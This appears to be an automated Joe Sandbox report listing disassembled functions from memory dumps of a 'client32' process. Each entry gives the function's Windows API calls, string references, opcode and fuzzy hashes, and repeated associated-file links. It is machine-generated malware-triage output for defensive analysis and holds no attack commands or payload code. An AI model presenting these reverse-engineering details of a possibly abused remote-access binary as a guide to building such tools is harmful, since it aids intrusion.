Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ErrorExitLastMessageMovePlacementProcessTimerwsprintf
String ID: Norm$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$j CB::OnRemoteSizeNormal(%d, %d, %d, %d)$m_hWnd
API String ID: 1092798621-1973987134
Opcode ID: 0a507017cf31c888094ccedf1f2f22b67d6bec0d8edef4dbc35580d5be2b1013
Instruction ID: 30cf71d2af311bb900ca5215c998a4de0afb875ad97720b4279f64133f28c1c1
Opcode Fuzzy Hash: 0a507017cf31c888094ccedf1f2f22b67d6bec0d8edef4dbc35580d5be2b1013
Instruction Fuzzy Hash: F7411EB5B00609AFDB08DFA4C895EAEF7B5FF88304F104669E519A7344DB30B945CB90

Function 1112C280 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 1112B9B0: LoadLibraryA.KERNEL32(ws2_32.dll,00000000,?), ref: 1112B9E6
Part of subcall function 1112B9B0: GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 1112BA03
Part of subcall function 1112B9B0: GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 1112BA0D
Part of subcall function 1112B9B0: GetProcAddress.KERNEL32(00000000,socket), ref: 1112BA1B
Part of subcall function 1112B9B0: GetProcAddress.KERNEL32(00000000,closesocket), ref: 1112BA29
Part of subcall function 1112B9B0: GetProcAddress.KERNEL32(00000000,WSAIoctl), ref: 1112BA37
Part of subcall function 1112B9B0: FreeLibrary.KERNEL32(00000000), ref: 1112BAAC

LoadLibraryA.KERNEL32(ws2_32.dll,?,?,00000000), ref: 1112C2CA
GetProcAddress.KERNEL32(00000000,ntohl), ref: 1112C2E2
_calloc.LIBCMT ref: 1112C2ED
_free.LIBCMT ref: 1112C38B
FreeLibrary.KERNEL32(00000000), ref: 1112C3A2

Strings

ntohl, xrefs: 1112C2DC
ws2_32.dll, xrefs: 1112C2C5

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad$_calloc_free
String ID: ntohl$ws2_32.dll
API String ID: 2881363997-4165132517
Opcode ID: b360deecd4c7b58a32711b4f6cbc729d67b5d7b917707d991309c8b9ca3b50e9
Instruction ID: 6f53df559584d72e955e8895b1c3eb0ef550ffad707d5752582ab7c49ea61f7f
Opcode Fuzzy Hash: b360deecd4c7b58a32711b4f6cbc729d67b5d7b917707d991309c8b9ca3b50e9
Instruction Fuzzy Hash: DD314C75E00229DBD7619FA48D80B99F7B8FF48714F6085A5D999A7200DF30AA858FD0

Function 110CE050 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000,?), ref: 110CE0C5
GetClientRect.USER32(00000000,?), ref: 110CE0F8
GetWindowRect.USER32(?,?), ref: 110CE103

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

hWnd, xrefs: 110CE07A
..\ctl32\nsmdlg.cpp, xrefs: 110CE075
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110CE0AB, 110CE0DB
m_hWnd, xrefs: 110CE0B0, 110CE0E0

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Rect$Window$ClientErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\nsmdlg.cpp$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$hWnd$m_hWnd
API String ID: 2908456680-3958695921
Opcode ID: df5e566ea26e76600d4433a5829a4f848afd28d6b38a31023cdd4e006d51d81b
Instruction ID: 712cfbea46f41dce34da92735377c28625c10b46f47693fc43de73f5d42021ce
Opcode Fuzzy Hash: df5e566ea26e76600d4433a5829a4f848afd28d6b38a31023cdd4e006d51d81b
Instruction Fuzzy Hash: 4A316275D00219AFDB14CFA8CC81EEEFBB4EF49318F1481A9E9566B244D730A944CFA5

Function 11106270 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 111062A1
EnterCriticalSection.KERNEL32 ref: 111062B8
GetTickCount.KERNEL32 ref: 111062BE
GetTickCount.KERNEL32 ref: 1110635B
LeaveCriticalSection.KERNEL32(111F160C), ref: 11106368

Strings

Warning. took %d ms to get simap lock, xrefs: 111062CF
Warning. simap lock held for %d ms, xrefs: 11106379

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CriticalSection$EnterLeave
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 956672424-625438208
Opcode ID: bcf611a48e79798e2679fdea00c267a7477b06a59c5547b500324db8bd2ad56d
Instruction ID: 9d4f7db00d5457b5153fc7aca0f3d87c755b2dbc5f7e99f6effce6267b28cb7e
Opcode Fuzzy Hash: bcf611a48e79798e2679fdea00c267a7477b06a59c5547b500324db8bd2ad56d
Instruction Fuzzy Hash: 8231D075E082559FE310DF64CA84F5AFBF4EB06328F2506A5E829AB790C730EC40CB90

Function 110CC360 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(00000000,?), ref: 110CC387
GetWindowRect.USER32(00000000), ref: 110CC38A
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 110CC39C
MapDialogRect.USER32(00000000,?), ref: 110CC3C8
GetDlgItem.USER32(00000000,?), ref: 110CC401
SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000010), ref: 110CC41C

Strings

, xrefs: 110CC3AD

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ItemRect$DialogPoints
String ID:
API String ID: 3303679393-3916222277
Opcode ID: 2249c09f5b4b130edb7ef8f619f74de815b9352330d3f536cd16acfa57f50e53
Instruction ID: 5736af7a59c5bbb3b2c62e90579a0a420b4469d74747aaa82dc812657f03fbc3
Opcode Fuzzy Hash: 2249c09f5b4b130edb7ef8f619f74de815b9352330d3f536cd16acfa57f50e53
Instruction Fuzzy Hash: A7314F75E0020EAFCB18CFA9D985EAFBBB8EB88704F10855DE515E7244D774AE40CB64

Function 1101E100 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000,?), ref: 1101E140
GetDlgItem.USER32(00000000,000013A2), ref: 1101E199
GetWindowRect.USER32(00000000), ref: 1101E1A0
GetDlgItem.USER32(00000000,0000139F), ref: 1101E1AF
GetWindowRect.USER32(00000000), ref: 1101E1B6

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1101E120
m_hWnd, xrefs: 1101E125

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: RectWindow$Item$ErrorExitLastMessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2038946005-2830328467
Opcode ID: 620dae07eedfae8235f2d3a280bb26459a1a4424cf46755cf2ac384f868e5aac
Instruction ID: 1bb08d0e26d3f84db878e7f9f950f280f16ec03f41355f49a35b763b070fbd80
Opcode Fuzzy Hash: 620dae07eedfae8235f2d3a280bb26459a1a4424cf46755cf2ac384f868e5aac
Instruction Fuzzy Hash: 89315C74D0031AEFCB14DFB5C984AEEFBB9FB48308F108569E51667604EB71A954CB90

Function 11148360 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 74keyboardCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,1102EA98,?), ref: 1114837D
wsprintfA.USER32 ref: 1114839B
OutputDebugStringA.KERNEL32(?,?,1102EA98,?), ref: 111483B1

Part of subcall function 111449B0: GetTickCount.KERNEL32 ref: 11144A18

Part of subcall function 11148010: GetCurrentThreadId.KERNEL32 ref: 11148023
Part of subcall function 11148010: wsprintfA.USER32 ref: 111480A3
Part of subcall function 11148010: IsBadReadPtr.KERNEL32(?,00000001), ref: 111480C8
Part of subcall function 11148010: wsprintfA.USER32 ref: 111480E8
Part of subcall function 11148010: wsprintfA.USER32 ref: 11148105

OutputDebugStringA.KERNEL32(?,?,?,?,?,?,?,?,1102EA98,?), ref: 111483F6
SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,1102EA98,?), ref: 111483F9

Part of subcall function 110B7F30: GetLastError.KERNEL32(1111025B,11195AD8,?,?,11029B81,?,11195AD8,1111025B,00000000), ref: 110B7F5C
Part of subcall function 110B7F30: _strrchr.LIBCMT ref: 110B7F6B
Part of subcall function 110B7F30: _strrchr.LIBCMT ref: 110B7F8D
Part of subcall function 110B7F30: GetTickCount.KERNEL32 ref: 110B7FBD
Part of subcall function 110B7F30: GetTickCount.KERNEL32 ref: 110B7FE8
Part of subcall function 110B7F30: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110B800C
Part of subcall function 110B7F30: TranslateMessage.USER32(?), ref: 110B8015
Part of subcall function 110B7F30: DispatchMessageA.USER32(?), ref: 110B801E

GetKeyState.USER32(00000011), ref: 11148419

Strings

Exception caught at %x. Trying minidump., xrefs: 11148395

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$CountErrorLastMessageTick$DebugOutputString_strrchr$CurrentDispatchReadStateThreadTranslate
String ID: Exception caught at %x. Trying minidump.
API String ID: 490122820-543155386
Opcode ID: a73f62b9da39a5c4804c9e0f52be66233fdaa3bbbff3939df8d171118b33f9c2
Instruction ID: 29a59b4c4c914cd8c532226d15f5e4317bff798f4e19c00b73adffff4a71f3ad
Opcode Fuzzy Hash: a73f62b9da39a5c4804c9e0f52be66233fdaa3bbbff3939df8d171118b33f9c2
Instruction Fuzzy Hash: 3121F875D002189BD715DBA4DDC0FD9F3B8EB1C709F0040A8EA1597A84DBB06E84CFA5

Function 110812A0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 74COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 1108132F
_memset.LIBCMT ref: 11081318

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

nBytes>=0, xrefs: 110812DE
IsA(), xrefs: 110812BE, 11081373
pData, xrefs: 110812FC
..\CTL32\DataStream.cpp, xrefs: 110812B9, 110812D9, 110812F7, 11081346, 1108136E
m_iPos>=nBytes, xrefs: 1108134B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memmove_memsetwsprintf
String ID: ..\CTL32\DataStream.cpp$IsA()$m_iPos>=nBytes$nBytes>=0$pData
API String ID: 75970324-4264523126
Opcode ID: d8c9cfc558a83648f442f3398f9905bd9548d166cd1f75af1a89d4c0a32f60db
Instruction ID: 3f790bad6e390bc8ea8a8f21c3872a9d67b2f4e4425326796fba8d3d5e2d5bab
Opcode Fuzzy Hash: d8c9cfc558a83648f442f3398f9905bd9548d166cd1f75af1a89d4c0a32f60db
Instruction Fuzzy Hash: 6B11EB7DF143126FC605DF41EC43F9AF3D4AF9064CF108039E94A27241E571B808C6A1

Function 11106190 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 111061AF
EnterCriticalSection.KERNEL32(111F160C,?,00000000,1114E33E,AB86ACF8,?,?,1118D473,000000FF,?,1114E7EB,00000000,?,111CD988), ref: 111061B8
GetTickCount.KERNEL32 ref: 111061BE
GetTickCount.KERNEL32 ref: 11106245
LeaveCriticalSection.KERNEL32(111F160C,?,00000000,1114E33E,AB86ACF8,?,?,1118D473,000000FF,?,1114E7EB,00000000,?,111CD988), ref: 1110624E

Strings

Warning. took %d ms to get simap lock, xrefs: 111061CA
Warning. simap lock held for %d ms, xrefs: 11106261

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CriticalSection$EnterLeave
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 956672424-625438208
Opcode ID: f8ece47c6be674cfc6cbb52fd4534d0e4ed0937040c1bec23388106697da3059
Instruction ID: 7bf4b4de6c1225bf845d1b57b19833cf2f95df170fbc6f728bfd986e642e3a36
Opcode Fuzzy Hash: f8ece47c6be674cfc6cbb52fd4534d0e4ed0937040c1bec23388106697da3059
Instruction Fuzzy Hash: F821C278E052A59FE706DFA4DA94F15FBE1AB4631CF2548B9D4068B652C730DC84C741

Function 11028290 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Kernel32.dll,AB86ACF8,?,00000000), ref: 110282C1
GetProcAddress.KERNEL32(00000000,GetProductInfo), ref: 11028308
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,1117FB78), ref: 11028334
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,1117FB78), ref: 11028350

Strings

Kernel32.dll, xrefs: 110282B9
8, xrefs: 11028325
GetProductInfo, xrefs: 110282FC

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressErrorFreeLastLoadProc
String ID: 8$GetProductInfo$Kernel32.dll
API String ID: 2540614322-3445568372
Opcode ID: aa26be5f8cbbfd869b96a8c783efff813acd0f8cb5c7f6c090b51664995c8e87
Instruction ID: 8301ff5709e053f562061a61a0d53d896ae4a996452523829adbc8398c520df5
Opcode Fuzzy Hash: aa26be5f8cbbfd869b96a8c783efff813acd0f8cb5c7f6c090b51664995c8e87
Instruction Fuzzy Hash: 3D21CFB1D4129CAFDB10CFDAD9C4AEDFBF8FB09614F90816EE429A6644D7340A008B61

Function 1108C280 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 64threadCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(?,00000000), ref: 1108C2B4
GetWindowThreadProcessId.USER32(00000000,04000000), ref: 1108C2D3
OpenProcess.KERNEL32(00000440,00000000,04000000,110ED099,?,04000000,00000000,?,00000000,00000000,?,00000000,110ECF7D,?,110ED099,0000070B), ref: 1108C2E9

Strings

Error. NULL hToken, xrefs: 1108C29B
Progman, xrefs: 1108C290

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
